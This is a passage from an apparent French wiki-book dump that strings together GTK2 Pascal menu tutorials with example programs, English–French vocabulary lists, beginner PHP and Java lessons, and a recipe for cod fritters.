g_free(Texte); end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreMenu : PGtkWidget; pMenuItemAffichage : PGtkWidget; pMenuAffichage : PGtkWidget; pMenuItemValeur1 : PGtkWidget; pMenuItemValeur2 : PGtkWidget; pMenuItemValeur3 : PGtkWidget; pLabel : PGtkWidget; pGroupe : PGSList; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk036 : Élément de menu « radio »'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre de menu pBarreMenu := gtk_menu_bar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreMenu, FALSE, FALSE, 0); // Création de l'item Affichage et rattachement à la barre de menu pMenuItemAffichage := gtk_menu_item_new_with_label('Affichage'); gtk_menu_shell_append(GTK_MENU_SHELL(pBarreMenu), pMenuItemAffichage); // Création du menu Affichage et rattachement à l'item Affichage pMenuAffichage := gtk_menu_new; gtk_menu_item_set_submenu(GTK_MENU_ITEM(pMenuItemAffichage), pMenuAffichage); // Création de l'item « Valeur 1 » et rattachement au menu Affichage pMenuItemValeur1 := gtk_radio_menu_item_new_with_label(NULL, 'Valeur 1'); gtk_check_menu_item_set_active(GTK_CHECK_MENU_ITEM(pMenuItemValeur1), TRUE); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuAffichage), pMenuItemValeur1); pGroupe := gtk_radio_menu_item_get_group(GTK_RADIO_MENU_ITEM(pMenuItemValeur1)); // Création de l'item « Valeur 2 » et rattachement au menu Affichage pMenuItemValeur2 := gtk_radio_menu_item_new_with_label(pGroupe, 'Valeur 2'); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuAffichage), pMenuItemValeur2); pGroupe := gtk_radio_menu_item_get_group(GTK_RADIO_MENU_ITEM(pMenuItemValeur2)); // Création de l'item « Valeur 3 » et rattachement au menu Affichage pMenuItemValeur3 := gtk_radio_menu_item_new_with_label(pGroupe, 'Valeur 3'); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuAffichage), pMenuItemValeur3); pGroupe := gtk_radio_menu_item_get_group(GTK_RADIO_MENU_ITEM(pMenuItemValeur3)); // Création du label pLabel := gtk_label_new('Valeur 1 est actif'); gtk_box_pack_start(GTK_BOX(pVBox), pLabel, TRUE, FALSE, 0); // Signal des items « Valeur x » g_signal_connect(pGTKOBJECT(pMenuItemValeur1), 'activate', G_CALLBACK(@OnMenuItemClic), pLabel); g_signal_connect(pGTKOBJECT(pMenuItemValeur2), 'activate', G_CALLBACK(@OnMenuItemClic), pLabel); g_signal_connect(pGTKOBJECT(pMenuItemValeur3), 'activate', G_CALLBACK(@OnMenuItemClic), pLabel); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk036.pas</code> après le lancement après avoir cliqué sur le menu « Affichage » et placer le curseur de la souris au dessus de « Valeur 3 » : [[Image:Programmation GTK2 en Pascal - gtk036-1.png]] Puis après avoir cliqué sur « Valeur 3 » et à nouveau resélectionner le menu « Affichage », le label et le menu ont bien été modifiés : [[Image:Programmation GTK2 en Pascal - gtk036-2.png]] {{Programmation GTK2 en Pascal - Menu}} [[Catégorie:Programmation GTK2 en Pascal|GtkRadioMenuItem]] Image:Programmation GTK2 en Pascal - gtk037.png 2899 14453 2005-03-18T14:59:01Z Didier 186 Exemple du programme gtk037.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk037.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk038-1.png 2900 14454 2005-03-18T14:59:38Z Didier 186 Exemple du programme gtk038.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk038.pas, étape 1. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk038-2.png 2901 14455 2005-03-18T15:00:41Z Didier 186 Exemple du programme gtk038.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk038.pas, étape 2. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkSeparatorMenuItem 2902 14456 2005-03-18T15:01:36Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkSeparatorMenuItem''' permet de tracer une ligne qui va séparer les différents éléments d'un menu. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkItem|GtkItem]] └─[[Programmation GTK2 en Pascal - GtkMenuItem|GtkMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkImageMenuItem|GtkImageMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkCheckMenuItem|GtkCheckMenuItem]] ─ [[Programmation GTK2 en Pascal - GtkRadioMenuItem|GtkRadioMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkSeparatorMenuItem|GtkSeparatorMenuItem]] └─[[Programmation GTK2 en Pascal - GtkTearoffMenuItem|GtkTearoffMenuItem]] |} == Utilisation de base == === Création === Il n'y a qu'une seule fonction pour ce contrôle, c'est sa fonction de création : function gtk_separator_menu_item_new : PGtkWidget; === Ajout === Pour ajouter ce contrôle dans un menu, il faut procéder comme avec tous les autres items, c'est-à-dire utiliser la fonction <code>gtk_menu_shell_append</code>. == Programme exemple == Nous allons créer un menu dans celui du style de l'exemple <code>[[Programmation GTK2 en Pascal - GtkImageMenuItem#Programme exemple|gtk034.pas]]</code> contenant un <code>GtkSeparatorMenuItem</code>. Voilà le fichier <code>gtk037.pas</code> : program gtk037; uses glib2, gtk2; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreMenu : PGtkWidget; pMenuItemFichier : PGtkWidget; pMenuFichier : PGtkWidget; pMenuItemOuvrir : PGtkWidget; pMenuItemFermer : PGtkWidget; pMenuItemQuitter : PGtkWidget; pMenuSeparateur : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk037 : Menu avec séparateur'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre de menu pBarreMenu := gtk_menu_bar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreMenu, FALSE, FALSE, 0); // Création de l'item Fichier et rattachement à la barre de menu pMenuItemFichier := gtk_menu_item_new_with_label('Fichier'); gtk_menu_shell_append(GTK_MENU_SHELL(pBarreMenu), pMenuItemFichier); // Création du menu Fichier et rattachement à l'item Fichier pMenuFichier := gtk_menu_new; gtk_menu_item_set_submenu(GTK_MENU_ITEM(pMenuItemFichier), pMenuFichier); // Création de l'item Ouvrir et rattachement au menu Fichier pMenuItemOuvrir := gtk_image_menu_item_new_from_stock(GTK_STOCK_OPEN, NULL); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuItemOuvrir); // Création de l'item Fermer et rattachement au menu Fichier pMenuItemFermer := gtk_image_menu_item_new_from_stock(GTK_STOCK_CLOSE, NULL); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuItemFermer); // Création du séparateur pMenuSeparateur := gtk_separator_menu_item_new; gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuSeparateur); // Création de l'item Quitter et rattachement au menu Fichier pMenuItemQuitter := gtk_image_menu_item_new_from_stock(GTK_STOCK_QUIT, NULL); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuItemQuitter); g_signal_connect(pGTKOBJECT(pMenuItemQuitter), 'activate', G_CALLBACK(@gtk_main_quit), NULL); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk037.pas</code> après avoir cliqué sur le menu « Fichier » : [[Image:Programmation GTK2 en Pascal - gtk037.png]] {{Programmation GTK2 en Pascal - Menu}} [[Catégorie:Programmation GTK2 en Pascal|GtkSeparatorMenuItem]] Programmation GTK2 en Pascal - GtkTearoffMenuItem 2903 14457 2005-03-18T15:03:25Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkTearoffMenuItem''' permet de créer une copie d'un menu dans une fenêtre. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkItem|GtkItem]] └─[[Programmation GTK2 en Pascal - GtkMenuItem|GtkMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkImageMenuItem|GtkImageMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkCheckMenuItem|GtkCheckMenuItem]] ─ [[Programmation GTK2 en Pascal - GtkRadioMenuItem|GtkRadioMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkSeparatorMenuItem|GtkSeparatorMenuItem]] └─[[Programmation GTK2 en Pascal - GtkTearoffMenuItem|GtkTearoffMenuItem]] |} == Utilisation de base == === Création === La fonction de création est la suivante : function gtk_tearoff_menu_item_new : PGtkWidget; === Détacher le menu === Pour détacher le menu dans lequel se trouve l'élément <code>GtkTearoffMenuItem</code>, il suffit de cliquer sur celui-ci. Un second clic sur l'élément (que cela soit dans le menu ou dans la fenêtre) supprimera la fenêtre créée. == Programme exemple == Voilà le fichier <code>gtk038.pas</code> : program gtk038; uses glib2, gtk2; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreMenu : PGtkWidget; pMenuItemFichier : PGtkWidget; pMenuFichier : PGtkWidget; pMenuDetachable : PGtkWidget; pMenuItemOuvrir : PGtkWidget; pMenuItemFermer : PGtkWidget; pMenuItemQuitter : PGtkWidget; pMenuSeparateur : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk038 : Menu détachable'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre de menu pBarreMenu := gtk_menu_bar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreMenu, FALSE, FALSE, 0); // Création de l'item Fichier et rattachement à la barre de menu pMenuItemFichier := gtk_menu_item_new_with_label('Fichier'); gtk_menu_shell_append(GTK_MENU_SHELL(pBarreMenu), pMenuItemFichier); // Création du menu Fichier et rattachement à l'item Fichier pMenuFichier := gtk_menu_new; gtk_menu_item_set_submenu(GTK_MENU_ITEM(pMenuItemFichier), pMenuFichier); // Création de l'élément détachable pMenuDetachable := gtk_tearoff_menu_item_new; gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuDetachable); // Création de l'item Ouvrir et rattachement au menu Fichier pMenuItemOuvrir := gtk_image_menu_item_new_from_stock(GTK_STOCK_OPEN, NULL); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuItemOuvrir); // Création de l'item Fermer et rattachement au menu Fichier pMenuItemFermer := gtk_image_menu_item_new_from_stock(GTK_STOCK_CLOSE, NULL); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuItemFermer); // Création du séparateur pMenuSeparateur := gtk_separator_menu_item_new; gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuSeparateur); // Création de l'item Quitter et rattachement au menu Fichier pMenuItemQuitter := gtk_image_menu_item_new_from_stock(GTK_STOCK_QUIT, NULL); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuItemQuitter); g_signal_connect(pGTKOBJECT(pMenuItemQuitter), 'activate', G_CALLBACK(@gtk_main_quit), NULL); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk038.pas</code> après le lancement après avoir cliqué sur le menu « Fichier » et placer le curseur de la souris au dessus de l'élément « détachable » (la ligne de pointillée) : [[Image:Programmation GTK2 en Pascal - gtk038-1.png]] Puis après avoir cliqué sur l'élément « détachable » : [[Image:Programmation GTK2 en Pascal - gtk038-2.png]] {{Programmation GTK2 en Pascal - Menu}} [[Catégorie:Programmation GTK2 en Pascal|GtkCheckMenuItem]] Programmation GTK2 en Pascal - GtkItem 2904 14458 2005-03-18T15:04:20Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == '''GtkItem''' est une classe abstraite qui sert de base aux contrôles <code>[[Programmation GTK2 en Pascal - GtkMenuItem|GtkMenuItem]]</code>, <code>[[Programmation GTK2 en Pascal - GtkListItem|GtkListItem]]</code> et <code>[[Programmation GTK2 en Pascal - GtkTreeItem|GtkTreeItem]]</code>. Elle n'est pas utilisée directement. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkItem|GtkItem]] ├─[[Programmation GTK2 en Pascal - GtkMenuItem|GtkMenuItem]] ├─[[Programmation GTK2 en Pascal - GtkListItem|GtkListItem]] └─[[Programmation GTK2 en Pascal - GtkTreeItem|GtkTreeItem]] |} [[Catégorie:Programmation GTK2 en Pascal|GtkItem]] Vocabulaire coréen 2905 14459 2005-03-18T17:51:22Z 82.226.197.187 Voir : [http://fr.wikipedia.org/wiki/Image:100_mots_cor%C3%A9ens.JPG cette liste là] [[Image:100 mots coréens.JPG]] Anglais : The city, la ville 2906 28315 2006-01-06T06:34:46Z 65.92.26.6 __NOTOC__ a town : ''une ville''<br />the suburbs : ''la banlieue''<br />the city center : ''le centre-ville''<br />the mayor : ''le maire''<br />a district : ''un quartier''<br /> == a house : ''une maison'' == a flat (GB), an apartment (USA) : ''un appartement''<br />a factory : ''une usine'' == a street : ''une rue'' == a boulevard : ''un boulevard''<br />an avenue : ''une avenue''<br />a blind alley : ''une impasse''<br />a one-way street : ''une rue à sens unique''<br />an alley (ou a lane) : ''une ruelle''<br />a public garden : ''un jardin public'' == traffic : ''la circulation'' == the traffic lights : ''les feux de circulation''<br />a roundabout : ''un rond-point''<br />a traffic jam : ''un embouteillage'' == the post office : ''le bureau de poste'' == the police-station : ''le poste de police''<br />a hospital : ''un hôpital''<br />a zoo : ''un zoo''<br />a park : ''un parc''<br />a square : ''une place''<br />the Tube (in London) : ''le métro''<br />the Subway (in New York) : ''le métro'' <br />Retour [[Enseignement de l'anglais]] Anglais : The health, la santé 2907 26629 2005-12-08T20:45:32Z 84.100.96.62 /* a medicine, a medication : ''un médicament'' */ to treat : ''traiter''<br />to be in good health : ''être en bonne santé''<br />to be in bad health : ''être en mauvaise santé''<br />to cure guérir<br />to recover : ''guérir'' __NOTOC__ == a disease : ''une maladie'' == an allergy : ''une maladie''<br />asthma : ''de l'asthme''<br />chicken pox : ''la varicelle''<br />flu : ''la grippe''<br />hepatitis : ''l'hépatite''<br />jaundice : ''la jaunisse''<br />mumps : ''les oreillons''<br />whooping cough : ''la coqueluche'' a burn : ''une brûlure''<br />a wound : ''une plaie''<br />a scratch : ''une égratinure''<br />a bruise : ''un bleu''<br />a scar : ''une cicatrice'' blind : ''aveugle''<br />blind in one eye : ''borgne''<br />deaf : ''sourd'' == a medicine, a medication : ''un médicament''== an antibiotic : ''un antibiotique''<br />a capsule : ''une gélule''<br />''an ointment : ''une pommade''<br />a pill : ''une pillule''<br />a tablet : ''un comprimé'' == a doctor : ''un docteur'' == a General Practitioner (ou GP) : ''un médecin généraliste''<br />an eye specialist : ''un ophtalmologiste''<br />a surgeon : ''un chirurgien''<br />a dentist : ''un dentiste''<br />a psychiatrist : ''un psychiatre''<br />a nurse : ''une infirmière'' == to breathe : ''respirer'' == to faint : ''s'évanouir''<br />to bleed : ''saigner''<br />to sprain : ''fouler''<br />to break : ''fracturer, casser''<br />to sneeze : ''éternuer''<br />to cough : ''tousser'' <br />Retour [[Enseignement de l'anglais]] Programmation PHP/Premier programme 2911 44066 2006-06-07T07:59:57Z Shawn 1611 {{Programmation PHP}} =Hello World= Ecrivons notre premier programme PHP. Pour le moment nous nous contenterons d'afficher le fameux et non moins célèbre "Hello World". <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Mon premier script PHP !</title> </head> <body> <?php echo "<p>Hello World</p>"; ?> </body> </html> </pre> =Analyse du code= Le code PHP est compris entre les balises '''<?php''' et''' ?>'''. Celles-ci marquent respectivement le début et la fin du code PHP. Il existe plusieurs façons d'écrire ces balises php, ce qui est probablement dû au fait que PHP est un langage ''hybride''. La notation '''<?php''' et''' ?>''' est semble-t-il la dernière, et donc désormais seule et unique, façon d'introduire du PHP dans une page. Le terme <code>echo</code> représente une fonction propre à php qui a pour rôle d'afficher du texte. On peut aussi utiliser la fonction <code>print</code>, pour un affichage de texte simple. Quant à "Hello world", il est écrit entre guillemets pour indiquer qu'il s'agit de texte. Certains préconisent l'utilisation d'apostrophes à la place des guillemets. En effet, l'utilisation des apostrophes (''simple quotes'') rendrait l'interprétation du code un peu plus rapide, qu'avec les guillemets ("'''double quote'''"). Enfin, le '''point-virgule''' (''';''') sert à indiquer la fin de l'instruction. '''Remarque:''' L'écriture suivante permet d'afficher du texte, tout en se passant de la fonction <code>echo</code>: <pre> <?= "<p>Hello world</p>"; ?> </pre> =Parse error= Il s'agit d'une erreur fréquente quand on débute en PHP. Elle est généralement due à une erreur de syntaxe. Cela peut être simplement à cause de l'omission d'un '''point-virgule''' ou bien par ce que vous avez une '''apostrophe''' qui gène. ''Exemple de code erroné:'' <pre> <?php // Parse error assurée echo 'J'irai bien boire un coup.'; ?> </pre> Ne s'afficheras pas, pour ce faire il faut juste mettre un "'''\'''" (antislash) devant notre '''apostrophe'''. ''Exemple de code opérationnel:'' <pre> <?php // Antislash et c'est bon echo 'J\'irai bien boire un coup.'; ?> </pre> On peut aussi rendre plus lisible le code source en utilisant les caractères suivants: *'''\n''' : saut de ligne, *'''\t''' : tabulation, *'''\r''' : retour de chariot. '''Attention:''' Ces caractères ne sont interprétés par le moteur PHP que si ils sont introduits à l'aide de '''double apostrophe''' : Vous pouvez remarquer que l'exemple précédent est constitué de deux langages HTML et PHP, vous remarquerez aussi que le script est placé entre les balises <code><body></body></code> ce n'est pas une obligation ainsi le code suivant retourne la même chose: <pre> <?php $texte= "Hello World"; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Mon premier script PHP !</title> </head> <body> <?php echo ($texte); ?> </body> </html> </pre> =Standardisation des commentaires= Les commentaires sont très utiles aux programmeurs, mais se révèlent surtout indispensables lors de travail en équipe. Il existe en outre des logiciels qui génèrent une documentation complète à partir des commentaires insérés dans le code du programme. De là est apparue une certaine forme de standardisation de ceux-ci afin de faciliter la génération de documentation. Vous trouverez des exemples de codes commentés sur cette page de [http://pear.php.net/manual/en/standards.sample.php PEAR]. Les commentaires en PHP peuvent se trouver sous deux formes : la première sert pour un commentaire tenant sur une seule ligne. Il faut placer deux slashes en début de ligne. Exemple : <pre> <?php // Voici mon premier commentaire ?> </pre> Avec cette méthode, si l'on veut inserer plusieurs lignes de commentaires, il faut placer les doubles slashes en début de '''chaque''' ligne. On peut aussi utiliser la deuxième méthode qui consiste à commencer un bloc de commentaire par <code>/*</code> et le terminer par <code>*/</code> quelle que soit sa longueur. Exemple : <pre> <?php /* Voici un bloc de commentaires pouvant contenir plusieurs lignes */ ?> </pre> =Liens externes= *[http://www.phpdoc.org/ PhpDocumentator] : Système de génération de documentation , *[http://pear.php.net/manual/en/standards.sample.php PEAR] : Exemple de code commenté. Anglais : School, l'école 2915 39506 2006-04-02T22:03:16Z 67.65.198.79 /* Subjects : ''les matières'' */ nursery school : ''l'école maternelle''<br />primary scool ou elementary school (GB) : ''l'école primaire''<br />a junior hign school (US) : ''un collège''<br />a hign school (US) : ''un lycée''<br />a university : ''une université''a boarding school : ''un internat''<br />a state school : ''une école publique''<br />a private school : ''une école privée''<br /> __NOTOC__ === a teacher : ''un professeur'' === a primary school teacher : ''un instituteur''<br />a professor : ''un professeur''<br />the headmaster : ''le principal, le proviseur'' === Subjects : ''les matières'' === literature : ''la littérature''<br />grammar : ''la grammaire''<br />spelling : ''l'orthographe''<br />philosophy : ''la philosophie''<br />mathematics : ''les mathématiques''<br />arithmetic : ''l'arithmétique''<br />biology : ''la biologie''<br />physics : ''la physique''<br />chemistry : ''la chimie''<br />history : ''l'histoire''<br />geography : ''la géographie''<br />modern languages : ''les langues vivantes''<br />classical languages : ''les langues mortes''<br />economics : ''l'économie''<br />civics : ''l'éducation civique'' === to study : étudier === to go to school : ''aller à l'école''<br />to repeat a year : ''redoubler''<br />to learn : ''apprendre''<br />to teach : ''enseigner''<br />to teach somebody something : ''enseigner quelque chose à quelqu'un<br />to explain : ''expliquer''<br />to repeat : ''répéter<br />to know : ''savoir, connaître'' === an exam : ''un examen'' === an oral : ''un oral''<br />a written paper : ''un écrit''<br />a mark : ''une note''<br />a competitive exam : ''un concours''<br />a diploma : ''un diplôme'' === a pencil : ''un crayon'' === a schoolbag : ''un cartable''<br />a copy-book : ''un cahier''<br />an exercice book : ''un cahier d'exercice''<br />a sheet of paper : ''une feuille de papier''<br />a pencil case : ''une trousse''<br />a fountain pen : ''un stylo à plume''<br />a rubber : ''une gomme''<br />a ball-point pen : ''un stylo à bille''<br /><br />a ruler : ''une règle''<br />a calculator : ''une calculatrice'' <br /> Retour [[Enseignement de l'anglais]] Programmation Java Interfaces 2916 42992 2006-05-22T13:31:47Z Cpb 1553 typo {{Programmation Java}} ==Présentation== *Liste de méthodes dont on donne seulement la signature *Repésente un "contrat", ce qu'on attend d'un objet *Peut être implémentée par une ou plusieurs classes qui doivent donner une implémentation pour chacune des méthodes annoncées (et eventuellement d'autres). *Une classe peut implémenter plusieurs interfaces. *Toutes les méthodes d'une interface sont implicitement publiques et abstraites. *Une interface n'a pas de constructeurs *Une interface ne peut avoir de champs sauf si ceux-ci sont statiques. *Une interface peut être étendue par une autre interface. En fait, une interface est une classe abstraite dont toutes les méthodes sont abstraites et dont tous les attributs sont constants (des constantes, voir le mot-clé ''final''). ==Exemple== <pre> //Définition de l'interface package cours; public interface Vehicule { void rouler(); void freiner(); } </pre> On a définit ici ce qu'on attend d'un objet de type véhicule.<br/> On peut maintenant donner une ou plusieurs implémentations de cette interface grâce à l'utilisation du mot clef '''implements''': <pre> package cours; public class Velo implements Vehicule { //Champs private String marque; private int rayonRoue; //Constructeurs public Velo(String marque, int rayonRoue) { this.marque = marque; this.rayonRoue = rayonRoue; } //Methodes public void rouler() { //Coder ici la manière dont le vélo roule } public void freiner() { //Coder ici la manière dont le vélo freine } //Autres méthodes propres à Velo } </pre> <pre> package cours; public class Auto implements Vehicule { //Champs private String marque; private int poids; //Constructeurs public Auto(String marque, int poids) { this.marque = marque; this.poids = poids; } //Methodes public void rouler() { //Coder ici la manière dont l'auto roule } public void freiner() { //Coder ici la manière dont l'auto freine } //Autres méthodes propres à Auto. } </pre> Dans cet exemple, nous avons donné deux implémentation de Vehicule.<br/> Conséquences : *Ces 2 objets peuvent être vu comme des véhicules, c'est ce qu'on appelle '''le polymorphisme'''. *Partout où on attendra un objet de type Vehicule, on pourra mettre un de ces deux objets. *Par ce biais, on introduit une couche d'abstraction dans notre programmation ce qui la rend beaucoup plus flexible. ==Discussion== Si, par exemple, nous avions une classe Personne possédant une méthode conduire(Vehicule v), on pourrait alors faire: <pre> Personne p = new Personne(); p.conduire(new Velo()); //comme la méthode attends un Vehicule en argument, on peut passer tout objet implémentant cette interface. p.conduire(new Auto()); //idem </pre> On peut "instancier" un Vehicule par la biais de ses implémentations <pre> Vehicule v = new Auto(); Vehicule t = new Velo(); </pre> Dans ce cas v et t ne seront vus que comme des Vehicule et, par conséquent, on ne pourra appeler sur ces objets que les méthodes définies dans l'interface Vehicule. Programmation Java Classes abstraites 2917 42991 2006-05-22T13:30:17Z Cpb 1553 typo {{Programmation_Java}} ==Définition== *Une classe abstraite se trouve à mi-chemin entre les interfaces et les classes. *Les classes abstraites, comme les interfaces, ne sont pas instanciables. *Les classes abstraites sont déclarées par le mot-clef '''abstract'''. *Il y a plusieurs intérêts à définir des classes abstraites: **pour interdir l'instanciation d'une classe; **pour faire de la factorisation de code en ne donnant qu'une implémentation partielle. ==Exemple== Voici: <pre> public interface Chien { void vieillir(); void aboyer(); } </pre> On sait que la méthode vieillir sera implémentée de la même manière quelque soit l'implémentation de Chien. Plutôt que d'implémenter cette interface à chaque fois, on va factoriser le code dans une classe abstraite et étendre cette classe quand le besoin s'en fera sentir. On crée donc une classe AbstractChien qui n'implémente que la méthode vieillir de notre interface, les autres étant laissées '''abstract'''. <pre> package cours; public abstract class AbstractChien implements Chien { //Champs //On mets les champs en protected pour que les classes filles //puissent les manipuler directement protected int age; protected String couleur; //Constructeur //Pourra être utilisé par les classes filles pour initialiser les champs. public AbstractChien(int age, String couleur) { this.age = age; this.couleur = couleur; } //Methode //On donne l'implémentation qui sera commune à tous les chiens public void vieillir() { age ++; } //Cette méthode ne sera définie que par les classes filles //Elle est donc laissée abstract. public abstract void aboyer(); } </pre> Cuisine:Recettes des Antilles 2918 26839 2005-12-15T16:12:23Z 212.96.74.83 /* Le jour de la préparation */ == Accras de morue == ===Ingrédients=== * 400 g de morue salée * 200 g de farine * 2 œufs * 2 oignons * 2 cives (ou échalotes) * 4 gousse d'ail * 1 piment * 150 ml d'eau * 1 sachet de levure chimique (ou 1 cuillère à café de bicarbonate de soude) Facultatif : * Persil ===Préparation=== ====La veille==== Faire dessaler la morue. Pour cela la placer dans une casserole d'eau froide, renouveler l'eau plusieurs fois. Si la morue est entière mettre la peau noire au-dessus. ====Le jour de la préparation==== #Placer la morue dans une casserole d'eau froide ajouter éventuellement du thym, des feuilles de laurier et le jus d'un citron. #Porter à ébullition puis laisser frémir pendant 10 minutes. #Égoutter, laisser refroidir. Retirer toutes les arêtes et la peau en émiettant la morue. #Hacher finement les oignons et les cives. #Dans un saladier, mélanger le hachis d'oignons et de cives, l'ail, les oeufs, la farine, l'eau et la levure. Émietter la morue et mélanger avec le reste des ingrédients. Ajouter le piment en fonction de votre goût. #Pour obtenir une pâte plus onctueuse, vous pouvez mixer. #Laisser reposer au moins 30 minutes. #Faire chauffer de l'huile dans une poêle. Verser avec un petite cuillère la pâte sous forme de petits beignets. Laisser dorer sur les deux faces. #Servir chaud. Programmation GTK2 en Pascal - Les décorations 2919 14470 2005-03-20T16:44:57Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} Les contrôles décoratifs ne sont pas indispensables mais permettent de réaliser des interfaces graphiques plus agréables, plus ergonomiques. On va y trouver les cadres qui permettent de regrouper visuellement des contrôles et des lignes qui permettent au contraire de séparer les contrôles : * [[Programmation GTK2 en Pascal - GtkFrame|GtkFrame]] * [[Programmation GTK2 en Pascal - GtkHSeparator|GtkHSeparator]] * [[Programmation GTK2 en Pascal - GtkVSeparator|GtkVSeparator]] Image:Programmation GTK2 en Pascal - gtk039.png 2920 14471 2005-03-20T17:07:45Z Didier 186 Exemple du programme gtk039.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk039.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkFrame 2921 14472 2005-03-20T17:09:44Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkFrame''' permet de créer différentes zones dans une même fenêtre à l'aide de cadres qui peuvent avoir un titre 